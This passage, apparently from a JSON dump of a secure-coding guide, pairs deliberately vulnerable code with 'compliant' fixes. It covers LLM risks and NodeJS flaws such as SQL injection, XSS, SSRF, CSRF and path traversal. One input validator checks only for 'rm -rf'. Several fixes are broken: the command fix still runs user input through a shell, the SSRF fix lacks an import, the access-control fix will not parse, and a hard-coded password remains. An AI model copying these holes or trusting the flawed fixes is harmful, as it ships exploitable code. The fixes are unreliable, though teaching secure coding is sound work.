class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```python\nimport subprocess\n\ndef execute_command(command):\n    subprocess.run(command, shell=True)\n\ndef process_user_prompt(user_prompt):\n    # Sanitize and validate user input before executing the command\n    if not valid_input(user_prompt):\n        print(\"Invalid input. Please try again.\")\n        return\n    \n    execute_command(user_prompt)\n\ndef valid_input(user_prompt):\n    # Implement input validation logic here\n    # Ensure that user_prompt does not contain any malicious commands or unauthorized code\n\n    # Example validation: Restrict specific commands or check for patterns indicative of malicious input\n    if \"rm -rf\" in user_prompt:\n        return False\n\n    return True\n\nuser_prompt = input(\"Enter your command: \")\nprocess_user_prompt(user_prompt)\n```\n\n\nIn the compliant vulnerable code, input validation and sanitization have been added. The `valid_input()` function checks if the user's input is safe and does not contain any potentially malicious commands or unauthorized code. If the input is determined to be valid, the command is executed using the `execute_command()` function, which utilizes the `subprocess.run()` method with the `shell=True` argument. The `valid_input()` function can be customized to include additional validation logic based on the specific requirements and potential threats.\n\n\n\n## LLM05:2023 - SSRF Vulnerabilities\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```python\nimport requests\n\ndef fetch_data(url):\n    response = requests.get(url)\n    return response.text\n\nuser_input = input(\"Enter the URL to fetch data from: \")\ndata = fetch_data(user_input)\nprint(data)\n```\n\nThe noncompliant code directly uses the user-provided URL to make a request without any validation or restriction. This allows an attacker to provide a malicious URL that could target internal systems, APIs, or sensitive resources.\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```python\nimport requests\n\nALLOWED_DOMAINS = [\"example.com\", \"api.example.com\"]\n\ndef fetch_data(url):\n    response = requests.get(url)\n    return response.text\n\ndef is_url_allowed(url):\n    parsed_url = urlparse(url)\n    domain = parsed_url.netloc\n    return domain in ALLOWED_DOMAINS\n\nuser_input = input(\"Enter the URL to fetch data from: \")\n\nif is_url_allowed(user_input):\n    data = fetch_data(user_input)\n    print(data)\nelse:\n    print(\"Access to the specified URL is not allowed.\")\n```\n\n\nThe compliant vulnerable code introduces a basic URL validation mechanism. It defines a list of allowed domains (`ALLOWED_DOMAINS`) and checks if the user-provided URL belongs to one of these domains. If the URL is allowed, the code proceeds to fetch the data. Otherwise, it displays a message indicating that access to the specified URL is not allowed.\n\n\n## LLM06:2023 - Overreliance on LLM-generated Content\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```python\nuser_input = input(\"Enter your question: \")\nresponse = LLM_model.generate_response(user_input)\nprint(response)\n```\n\nIn the noncompliant code above, there is an overreliance on the LLM-generated content. The user's input is directly passed to the LLM model without any verification or human oversight. The generated response is then printed without any further validation or review, leading to potential risks associated with overreliance on the LLM-generated content.\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```python\nuser_input = input(\"Enter your question: \")\nresponse = LLM_model.generate_response(user_input)\nreviewed_response = review_content(response)\nprint(reviewed_response)\n\ndef review_content(content):\n    # Implement human review process to validate and verify the LLM-generated content\n    # Check for accuracy, factuality, and potential biases\n    # Make corrections or additions as necessary\n    return content\n```\n\n\nIn the compliant vulnerable full code, there is an attempt to address the risks associated with overreliance on LLM-generated content. The user's input is still passed to the LLM model for generating a response. However, the generated response is then passed through a `review_content()` function, which represents a human review process. This function allows for validation, verification, and correction of the LLM-generated content. The reviewed response is then printed or used further in the application.\n\n\n\n## LLM07:2023 - Inadequate AI Alignment\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```python\n# Noncompliant code: Inadequate AI Alignment\n\ndef generate_response(user_prompt):\n    # Arbitrary and poorly defined objectives\n    if user_prompt == \"get_personal_info\":\n        return get_personal_info()\n    elif user_prompt == \"generate_random_number\":\n        return generate_random_number()\n    else:\n        return \"Invalid prompt\"\n\ndef get_personal_info():\n    # Code to retrieve and return personal information\n    ...\n\ndef generate_random_number():\n    # Code to generate a random number\n    ...\n```\n\nThe noncompliant code demonstrates inadequate AI alignment as it lacks well-defined objectives for the LLM. It has arbitrary and poorly defined objectives where different user prompts trigger different actions without clear alignment with the desired outcomes. The code does not consider factors like authorization or user validation, leading to potential security and privacy issues.\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```python\n# Compliant vulnerable code: Improved AI Alignment\n\ndef generate_response(user_prompt):\n    if user_prompt == \"get_personal_info\":\n        return handle_personal_info_request()\n    elif user_prompt == \"generate_random_number\":\n        return handle_random_number_request()\n    else:\n        return \"Invalid prompt\"\n\ndef handle_personal_info_request():\n    # Perform necessary checks and validations\n    if user_is_authorized():\n        return retrieve_personal_info()\n    else:\n        return \"Unauthorized access\"\n\ndef retrieve_personal_info():\n    # Code to retrieve and return personal information\n    ...\n\ndef handle_random_number_request():\n    # Perform necessary checks and validations\n    if user_is_authorized():\n        return generate_random_number()\n    else:\n        return \"Unauthorized access\"\n\ndef generate_random_number():\n    # Code to generate a random number\n    ...\n```\n\n\nThe compliant vulnerable full code improves the AI alignment by considering more specific and well-defined objectives. It introduces separate functions to handle different user prompts, such as \"get_personal_info\" and \"generate_random_number\". Each function performs the necessary checks and validations before executing the corresponding action. For example, before retrieving personal information or generating a random number, the code checks if the user is authorized to perform those actions. This ensures that the LLM's behavior is aligned with the intended objectives and incorporates security measures.\n\n\n\n## LLM08:2023 - Insufficient Access Controls\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```python\ndef generate_response(user_input):\n    response = LLM_model.generate_prompt(user_input)\n    return response\n\nuser_input = input(\"Enter your request: \")\nresponse = generate_response(user_input)\nprint(response)\n```\n\nIn the above noncompliant code, there are no access controls implemented. Any user can input a request, and the `generate_response()` function directly passes the user input to the LLM model without any authentication or authorization checks. This lack of access controls allows any user, authorized or unauthorized, to interact with the LLM and obtain responses.\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```python\ndef generate_response(user_input, user_role):\n    if user_role == \"admin\":\n        response = LLM_model.generate_prompt(user_input)\n        return response\n    else:\n        return \"Unauthorized access\"\n\ndef authenticate_user(username, password):\n    # Code for authenticating the user\n\ndef get_user_role(username):\n    # Code for retrieving the user's role\n\ndef main():\n    username = input(\"Username: \")\n    password = input(\"Password: \")\n\n    if authenticate_user(username, password):\n        user_role = get_user_role(username)\n        user_input = input(\"Enter your request: \")\n\n        response = generate_response(user_input, user_role)\n        print(response)\n    else:\n        print(\"Authentication failed\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\n\nIn the compliant vulnerable code, access controls are implemented to ensure that only authenticated and authorized users can interact with the LLM. The `generate_response()` function now takes an additional parameter `user_role`, which represents the role of the user. The function checks if the user has the \"admin\" role before generating the LLM response. If the user has the \"admin\" role, the response is generated and returned. Otherwise, an \"Unauthorized access\" message is returned.\n\nThe `main()` function handles the user authentication process by prompting for a username and password. It calls the `authenticate_user()` function to validate the credentials and retrieve the user's role using the `get_user_role()` function. If authentication is successful, the user is prompted to enter a request, and the `generate_response()` function is called with the user's input and role.\n\n\n\n## LLM09:2023 - Improper Error Handling\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```python\n# Noncompliant code\ntry:\n    # Code that may raise an error\n    result = perform_operation()\n    print(\"Operation completed successfully!\")\nexcept Exception as e:\n    # Displaying the detailed error message to the user\n    print(f\"An error occurred: {str(e)}\")\n```\n\nThe noncompliant code above demonstrates improper error handling practices. When an error occurs during the `perform_operation()` function call, the code catches the exception and displays the detailed error message to the user using `print(f\"An error occurred: {str(e)}\")`. This approach exposes sensitive information and potentially reveals implementation details to the user, which could be leveraged by attackers.\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```python\n# Compliant vulnerable code\nimport logging\n\ntry:\n    # Code that may raise an error\n    result = perform_operation()\n    print(\"Operation completed successfully!\")\nexcept Exception as e:\n    # Logging the error message for internal use\n    logging.exception(\"An error occurred during the operation\")\n    # Displaying a generic error message to the user\n    print(\"An error occurred. Please try again later.\")\n```\n\n\nThe compliant vulnerable code addresses the issue of improper error handling. It introduces logging using the `logging` module to capture the detailed error information for internal use. Instead of displaying the specific error message to the user, it provides a generic error message like \"An error occurred. Please try again later.\" This prevents the leakage of sensitive details to the user while still indicating that an error occurred.\n\n\n\n## LLM10:2023 - Training Data Poisoning\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```python\n# Noncompliant code - Training Data Poisoning\nimport random\n\ndef get_training_data():\n    # Retrieve training data from an untrusted source\n    training_data = untrusted_source.get_data()\n    \n    # Introduce malicious examples into the training data\n    poisoned_data = training_data + malicious_examples\n    \n    return poisoned_data\n\ndef train_model():\n    data = get_training_data()\n    \n    # Train the model using the poisoned data\n    model.train(data)\n```\n\nIn the noncompliant code, the training data is retrieved from an untrusted source, which can be manipulated to introduce malicious examples. The code combines the untrusted data with malicious examples, resulting in a poisoned dataset. This allows the attacker to manipulate the model's behavior and introduce vulnerabilities or biases.\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```python\n# Compliant Vulnerable code - Training Data Poisoning\nimport random\n\ndef get_training_data():\n    # Retrieve training data from a trusted source\n    training_data = trusted_source.get_data()\n    \n    return training_data\n\ndef sanitize_data(data):\n    # Implement data sanitization techniques to remove potential vulnerabilities or biases\n    sanitized_data = perform_sanitization(data)\n    \n    return sanitized_data\n\ndef train_model():\n    data = get_training_data()\n    \n    # Sanitize the training data to remove any potential poisoning or biases\n    sanitized_data = sanitize_data(data)\n    \n    # Train the model using the sanitized data\n    model.train(sanitized_data)\n```\n\n\nIn the compliant vulnerable code, the training data is retrieved from a trusted source, ensuring its integrity and reliability. The data is then passed through a data sanitization process to remove potential vulnerabilities, biases, or malicious content. The sanitized data is used for training the model, reducing the risk of training data poisoning."
  },
  {
    "path": "docs/rules/nodejs.md",
    "content": "---\nlayout: default\ntitle: NodeJS\nparent: Rules\n---\n\n# NodeJS\n{: .no_toc }\n\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n\n## Exposure of sensitive information\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nconst fs = require('fs');\n\nfunction login(username, password) {\n  // Validate the username and password\n  if (username === 'admin' && password === 'password123') {\n    // Log the successful login\n    fs.appendFileSync('logs.txt', `Successful login: ${username}`);\n    return true;\n  } else {\n    // Log the failed login\n    fs.appendFileSync('logs.txt', `Failed login: ${username}`);\n    return false;\n  }\n}\n```\n\nIn this noncompliant code, the login function logs sensitive information, such as the username, directly into a log file (logs.txt). This is a security risk as the log file may be accessible to unauthorized users, potentially exposing sensitive information like usernames or passwords.\n\n\nTo address this issue, here's a compliant code example that avoids exposing sensitive information in the log file:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nconst fs = require('fs');\n\nfunction login(username, password) {\n  // Validate the username and password\n  if (username === 'admin' && password === 'password123') {\n    // Log the successful login without sensitive information\n    fs.appendFileSync('logs.txt', 'Successful login');\n    return true;\n  } else {\n    // Log the failed login without sensitive information\n    fs.appendFileSync('logs.txt', 'Failed login');\n    return false;\n  }\n}\n```\n\n\nIn this compliant code, the sensitive information (username) is not logged directly. Instead, only a generic log message indicating a successful or failed login is recorded in the log file. By avoiding the direct exposure of sensitive information in the log file, you can protect user credentials and prevent potential misuse or unauthorized access.\n\nAdditionally, it's important to ensure that the log files themselves are properly secured and access is restricted to authorized personnel only. This can include setting appropriate file permissions, encrypting the log files, or utilizing a centralized logging solution that offers robust access controls and security features.\n\n\n\n\n\n## Insertion of Sensitive Information Into Sent Data\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\n\napp.get('/user', (req, res) => {\n  const userId = req.query.id;\n  const userData = getUserData(userId);\n\n  // Include sensitive information in the response\n  res.json({\n    id: userId,\n    username: userData.username,\n    email: userData.email,\n    password: userData.password\n  });\n});\n\napp.listen(3000, () => {\n  console.log('Server is running on port 3000');\n});\n```\n\nIn this noncompliant code, when the /user endpoint is called with a query parameter id, it retrieves user data for the specified ID and includes sensitive information such as the password in the response JSON. This can pose a security risk as the sensitive information may be intercepted or accessed by unauthorized parties.\n\n\nTo address this issue, here's a compliant code example that avoids inserting sensitive information into sent data:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\n\napp.get('/user', (req, res) => {\n  const userId = req.query.id;\n  const userData = getUserData(userId);\n\n  // Exclude sensitive information from the response\n  const { id, username, email } = userData;\n  res.json({ id, username, email });\n});\n\napp.listen(3000, () => {\n  console.log('Server is running on port 3000');\n});\n```\n\n\nIn this compliant code, only the necessary non-sensitive information (such as user ID, username, and email) is included in the response JSON. The sensitive information, such as the password, is excluded from the response, reducing the risk of exposing sensitive data to unauthorized users.\n\nIt's important to ensure that sensitive information is handled securely and only shared with authorized users or in appropriate contexts. By following the principle of least privilege and excluding sensitive data from sent data, you can mitigate the risk of unauthorized access or exposure of sensitive information.\n\n\n\n\n\n\n## Cross-Site Request Forgery (CSRF)\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\n\napp.get('/transfer-money', (req, res) => {\n  const amount = req.query.amount;\n  const toAccount = req.query.to;\n\n  // Transfer money to the specified account\n  transferMoney(amount, toAccount);\n\n  res.send('Money transferred successfully!');\n});\n\napp.listen(3000, () => {\n  console.log('Server is running on port 3000');\n});\n```\n\nIn this noncompliant code, the /transfer-money endpoint allows the transfer of money by making a GET request with query parameters for the amount and the recipient account. This design is vulnerable to CSRF attacks because an attacker can create a malicious website that automatically triggers this request on behalf of a victim who visits the website. As a result, the victim's money can be transferred without their consent or knowledge.\n\n\n\nTo address this issue, here's a compliant code example that implements CSRF protection using tokens:\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nconst express = require('express');\nconst csrf = require('csurf');\nconst app = express();\n\n// Enable CSRF protection middleware\nconst csrfProtection = csrf({ cookie: true });\n\n// Generate and send CSRF token to the client\napp.get('/csrf-token', csrfProtection, (req, res) => {\n  res.json({ csrfToken: req.csrfToken() });\n});\n\n// Transfer money only for valid CSRF-protected requests\napp.post('/transfer-money', csrfProtection, (req, res) => {\n  const amount = req.body.amount;\n  const toAccount = req.body.to;\n\n  // Transfer money to the specified account\n  transferMoney(amount, toAccount);\n\n  res.send('Money transferred successfully!');\n});\n\napp.listen(3000, () => {\n  console.log('Server is running on port 3000');\n});\n```\n\n\nIn this compliant code, the CSRF protection middleware (csurf) is used to generate and validate CSRF tokens. First, a separate route (/csrf-token) is added to generate and send the CSRF token to the client. Then, the /transfer-money endpoint is modified to accept only POST requests and include the CSRF protection middleware. This ensures that the transfer of money can only be performed if a valid CSRF token is provided with the request.\n\n\nBy implementing CSRF protection, the compliant code prevents unauthorized parties from performing malicious actions, such as transferring money, through forged requests. The use of CSRF tokens helps verify the authenticity of requests and protects against CSRF attacks.\n\n\n\n\n\n\n\n## Use of Hard-coded Password\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nconst bcrypt = require('bcrypt');\nconst saltRounds = 10;\nconst password = 'myHardcodedPassword';\n\nbcrypt.hash(password, saltRounds, (err, hash) => {\n  if (err) {\n    console.error('Error hashing password:', err);\n    return;\n  }\n\n  // Store the hashed password in the database\n  storePasswordInDatabase(hash);\n});\n```\n\nIn this noncompliant code, the variable password contains a hard-coded password value. Storing passwords directly in code poses a significant security risk because if an attacker gains access to the codebase, they will have immediate knowledge of the password, potentially compromising user accounts or system security.\n\n\nTo address this issue, here's a compliant code example that avoids the use of hard-coded passwords:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nconst bcrypt = require('bcrypt');\nconst saltRounds = 10;\n\nfunction hashPassword(password, callback) {\n  bcrypt.hash(password, saltRounds, (err, hash) => {\n    if (err) {\n      console.error('Error hashing password:', err);\n      return callback(err);\n    }\n\n    // Store the hashed password in the database\n    storePasswordInDatabase(hash, callback);\n  });\n}\n\n// Usage\nconst password = 'myPassword';\nhashPassword(password, (err) => {\n  if (err) {\n    console.error('Failed to hash password:', err);\n    return;\n  }\n\n  console.log('Password hashed and stored successfully');\n});\n```\n\nIn this compliant code, the hashPassword function takes the password as a parameter and generates a secure hash using the bcrypt library. The hashed password is then stored in the database. By separating the password from the code and passing it as a parameter, the hard-coded password is no longer present in the codebase. Instead, the password is supplied at runtime, reducing the risk of unauthorized access to sensitive information.\n\nBy avoiding the use of hard-coded passwords, the compliant code enhances the security of the application and reduces the risk of unauthorized access to user accounts or system resources.\n\n\n\n\n\n\n\n## Broken or Risky Crypto Algorithm\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nconst crypto = require('crypto');\n\nfunction hashPassword(password) {\n  const hash = crypto.createHash('md5').update(password).digest('hex');\n  return hash;\n}\n\n// Usage\nconst password = 'myPassword';\nconst hashedPassword = hashPassword(password);\nconsole.log('Hashed password:', hashedPassword);\n```\n\n\nIn this noncompliant code, the crypto.createHash function is used with the MD5 algorithm to hash the password. However, MD5 is considered to be insecure for password hashing due to its vulnerability to collision attacks and the availability of faster computing resources. It's important to use stronger and more secure algorithms, such as bcrypt or Argon2, for password hashing to protect user credentials.\n\n\nTo address this issue, here's a compliant code example that uses the bcrypt library for secure password hashing:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nconst bcrypt = require('bcrypt');\nconst saltRounds = 10;\n\nfunction hashPassword(password, callback) {\n  bcrypt.hash(password, saltRounds, (err, hash) => {\n    if (err) {\n      console.error('Error hashing password:', err);\n      return callback(err);\n    }\n    return callback(null, hash);\n  });\n}\n\n// Usage\nconst password = 'myPassword';\nhashPassword(password, (err, hashedPassword) => {\n  if (err) {\n    console.error('Failed to hash password:', err);\n    return;\n  }\n\n  console.log('Hashed password:', hashedPassword);\n});\n```\n\nIn this compliant code, the bcrypt library is used to securely hash the password. The bcrypt.hash function generates a salted hash with the specified number of rounds, providing a high level of security against brute-force and dictionary attacks.\n\nBy using bcrypt instead of the insecure MD5 algorithm, the compliant code significantly improves the security of password hashing in the application. This helps protect user credentials and prevents attackers from easily obtaining the original passwords through brute-force or rainbow table attacks.\n\n\n\n\n\n\n\n## Insufficient Entropy\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nfunction generateApiKey() {\n  const length = 32;\n  const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n  let apiKey = '';\n\n  for (let i = 0; i < length; i++) {\n    const randomIndex = Math.floor(Math.random() * chars.length);\n    apiKey += chars.charAt(randomIndex);\n  }\n\n  return apiKey;\n}\n\n// Usage\nconst apiKey = generateApiKey();\nconsole.log('Generated API key:', apiKey);\n```\n\n\nIn this noncompliant code, the generateApiKey function attempts to generate a random API key by selecting random characters from a predetermined set of characters. However, the random values are generated using the Math.random() function, which may not provide sufficient entropy for secure random number generation. The Math.random() function relies on the underlying random number generator of the JavaScript runtime, which may not be suitable for cryptographic purposes.\n\nTo address this issue, here's a compliant code example that uses the crypto module in Node.js to generate a secure random API key:\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nconst crypto = require('crypto');\n\nfunction generateApiKey() {\n  const length = 32;\n  const buffer = crypto.randomBytes(length);\n  const apiKey = buffer.toString('hex');\n  return apiKey;\n}\n\n// Usage\nconst apiKey = generateApiKey();\nconsole.log('Generated API key:', apiKey);\n```\n\nIn this compliant code, the crypto.randomBytes function from the crypto module is used to generate a buffer of cryptographically secure random bytes. The buffer is then converted to a hexadecimal string representation using the toString method. This approach ensures the generation of random values with sufficient entropy for secure purposes.\n\nBy using the crypto.randomBytes function instead of Math.random(), the compliant code improves the entropy of the generated API key, making it more secure and resistant to prediction or guessing attacks.\n\n\n\n\n\n\n\n## XSS\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\n\napp.get('/search', (req, res) => {\n  const query = req.query.q;\n  const response = `Search results for: ${query}`;\n  res.send(response);\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\nIn this noncompliant code, the /search endpoint retrieves the search query from the request's query parameters (req.query.q) and includes it directly in the response without any sanitization or validation. This can lead to an XSS vulnerability because an attacker can craft a malicious query that includes JavaScript code, which will be executed when the response is rendered in a user's browser.\n\n\nTo address this issue, here's a compliant code example that properly sanitizes user input to prevent XSS attacks:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\nconst xss = require('xss');\n\napp.get('/search', (req, res) => {\n  const query = req.query.q;\n  const sanitizedQuery = xss(query);\n  const response = `Search results for: ${sanitizedQuery}`;\n  res.send(response);\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\n\nIn this compliant code, the xss library is used to sanitize the user input (query) before including it in the response. The xss function escapes any HTML tags and special characters in the query, preventing them from being interpreted as code when rendered in the browser. This ensures that the response is safe from XSS attacks by effectively neutralizing any potentially malicious input.\n\nBy incorporating proper input sanitization using a library like xss, the compliant code mitigates the risk of XSS vulnerabilities and ensures that user input is properly handled and rendered safely in the browser.\n\n\n\n\n\n\n\n\n## SQL Injection\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\nconst mysql = require('mysql');\n\napp.get('/users', (req, res) => {\n  const userId = req.query.id;\n  const query = `SELECT * FROM users WHERE id = ${userId}`;\n  \n  // Execute the SQL query and return the results\n  const connection = mysql.createConnection({\n    host: 'localhost',\n    user: 'root',\n    password: 'password',\n    database: 'mydb'\n  });\n  \n  connection.query(query, (error, results) => {\n    if (error) throw error;\n    res.json(results);\n  });\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\nIn this noncompliant code, the /users endpoint retrieves the user ID from the request's query parameters (req.query.id) and directly interpolates it into the SQL query (SELECT * FROM users WHERE id = ${userId}). This makes the code vulnerable to SQL injection attacks. An attacker can manipulate the userId parameter and inject malicious SQL code, potentially gaining unauthorized access to the database or performing other harmful actions.\n\n\nTo address this issue, here's a compliant code example that uses prepared statements to mitigate the SQL injection vulnerability:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\nconst mysql = require('mysql');\n\napp.get('/users', (req, res) => {\n  const userId = req.query.id;\n  const query = 'SELECT * FROM users WHERE id = ?';\n  const connection = mysql.createConnection({\n    host: 'localhost',\n    user: 'root',\n    password: 'password',\n    database: 'mydb'\n  });\n\n  connection.query(query, [userId], (error, results) => {\n    if (error) throw error;\n    res.json(results);\n  });\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\nIn this compliant code, a prepared statement is used by replacing the user input with a placeholder (?) in the SQL query (SELECT * FROM users WHERE id = ?). The actual user input (userId) is passed as a parameter to the connection.query method, ensuring that it is properly escaped and treated as a value, rather than being executed as part of the SQL query itself. This effectively prevents SQL injection attacks by separating the SQL code from the user input.\n\nBy using prepared statements or parameterized queries, the compliant code ensures that user input is handled safely and prevents malicious SQL injection attacks by treating user input as data rather than executable code.\n\n\n\n\n\n## External Control of File Name or Path\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\nconst fs = require('fs');\n\napp.get('/download', (req, res) => {\n  const fileName = req.query.file;\n  const filePath = `/path/to/files/${fileName}`;\n\n  fs.readFile(filePath, (err, data) => {\n    if (err) {\n      res.status(404).send('File not found');\n    } else {\n      res.setHeader('Content-Disposition', `attachment; filename=${fileName}`);\n      res.send(data);\n    }\n  });\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\n\nIn this noncompliant code, the /download endpoint allows users to specify the file name in the query parameter (req.query.file). The code directly uses the user-supplied file name to construct the file path (/path/to/files/${fileName}) and attempts to read and send the file's content. This approach introduces a security vulnerability known as external control of file name or path, where an attacker can manipulate the file parameter to access arbitrary files on the server's file system.\n\n\nTo address this issue, here's a compliant code example that validates and sanitizes the file name to prevent external control of file name or path attacks:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\nconst fs = require('fs');\nconst path = require('path');\n\napp.get('/download', (req, res) => {\n  const fileName = req.query.file;\n  const sanitizedFileName = path.basename(fileName); // Sanitize the file name\n  const filePath = path.join('/path/to/files', sanitizedFileName);\n\n  fs.readFile(filePath, (err, data) => {\n    if (err) {\n      res.status(404).send('File not found');\n    } else {\n      res.setHeader('Content-Disposition', `attachment; filename=${sanitizedFileName}`);\n      res.send(data);\n    }\n  });\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\nIn this compliant code, the file name obtained from the user input (req.query.file) is sanitized using path.basename to extract the file name and discard any directory information or path traversal attempts. The sanitized file name is then securely joined with the base directory path using path.join to ensure a valid and safe file path is constructed. By validating and sanitizing the file name, the compliant code prevents external control of file name or path attacks and restricts the file access to the intended directory.\n\nIt's important to note that the code examples provided assume a simplified scenario for demonstration purposes. In practice, it is recommended to implement additional security measures such as access controls, file type validation, and proper error handling to enhance the security of file downloads.\n\n\n\n\n\n\n## Generation of Error Message Containing Sensitive Information\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\n\napp.get('/user/:id', (req, res) => {\n  const userId = req.params.id;\n  const user = getUserFromDatabase(userId);\n\n  if (!user) {\n    throw new Error(`User ${userId} not found`); // Noncompliant: Error message contains sensitive information\n  }\n\n  res.send(user);\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\n\nIn this noncompliant code, when a user is not found in the database, an error is thrown with an error message that includes the user ID (User ${userId} not found). This approach poses a security risk as it exposes sensitive information (the user ID) to potential attackers. Error messages containing sensitive information can be exploited by malicious actors to gather intelligence about the system and potentially mount further attacks.\n\n\nTo address this issue, here's a compliant code example that avoids including sensitive information in error messages:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\n\napp.get('/user/:id', (req, res) => {\n  const userId = req.params.id;\n  const user = getUserFromDatabase(userId);\n\n  if (!user) {\n    res.status(404).send('User not found'); // Compliant: Generic error message without sensitive information\n    return;\n  }\n\n  res.send(user);\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\nIn this compliant code, when a user is not found, a generic error message is sent without including any sensitive information. By providing a generic error message, the code avoids leaking potentially sensitive data and provides limited information to potential attackers.\n\nIt's crucial to handle errors carefully and avoid exposing sensitive information through error messages. Additionally, it's recommended to log errors on the server side for debugging and monitoring purposes, while ensuring that the logs do not contain sensitive information.\n\n\n\n\n\n\n## unprotected storage of credentials\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\n\nlet databaseCredentials = {\n  username: 'admin',\n  password: 'secretpassword'\n};\n\napp.post('/login', (req, res) => {\n  const { username, password } = req.body;\n\n  if (username === databaseCredentials.username && password === databaseCredentials.password) {\n    res.send('Login successful');\n  } else {\n    res.send('Invalid credentials');\n  }\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\nIn this noncompliant code, the database credentials (username and password) are stored directly in a variable (databaseCredentials) without any protection. Storing credentials in plain text in the source code or configuration files is highly insecure and exposes them to potential unauthorized access. Any person with access to the codebase can easily retrieve the credentials, posing a significant security risk.\n\n\nTo address this issue, here's a compliant code example that demonstrates a better approach for handling credentials:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\n\n// These credentials should be stored securely, such as environment variables or a separate configuration file.\nconst databaseCredentials = {\n  username: process.env.DB_USERNAME,\n  password: process.env.DB_PASSWORD\n};\n\napp.post('/login', (req, res) => {\n  const { username, password } = req.body;\n\n  if (username === databaseCredentials.username && password === databaseCredentials.password) {\n    res.send('Login successful');\n  } else {\n    res.send('Invalid credentials');\n  }\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\nIn the compliant code, the credentials are loaded from environment variables (process.env) instead of being 